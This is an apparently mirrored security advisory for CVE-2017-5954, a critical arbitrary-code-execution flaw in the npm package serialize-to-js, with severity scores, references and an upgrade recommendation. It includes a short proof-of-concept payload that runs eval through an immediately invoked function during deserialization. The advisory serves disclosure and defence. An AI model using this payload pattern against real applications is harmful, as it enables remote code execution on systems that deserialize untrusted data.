Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1tNjItd3hjOC1jZjdt

Code Execution Through IIFE in serialize-to-js

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

Permalink: https://github.com/advisories/GHSA-mm62-wxc8-cf7m
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1tNjItd3hjOC1jZjdt
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 6 years ago
Updated: about 1 year ago

CVSS Score: 9.8
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.00539
EPSS Percentile: 0.77099

Identifiers: GHSA-mm62-wxc8-cf7m, CVE-2017-5954
References:

• https://nvd.nist.gov/vuln/detail/CVE-2017-5954
• https://github.com/advisories/GHSA-mm62-wxc8-cf7m
• https://www.npmjs.com/advisories/313
• https://www.npmjs.com/package/serialize-to-js#deserialize
• https://github.com/commenthol/serialize-to-js/issues/1
• https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
• http://www.securityfocus.com/bid/96223
• https://github.com/commenthol/serialize-to-js/commit/1cd433960e5b9db4c0b537afb28366198a319429

Repository: https://github.com/commenthol/serialize-to-js
Blast Radius: 46.6

Affected Packages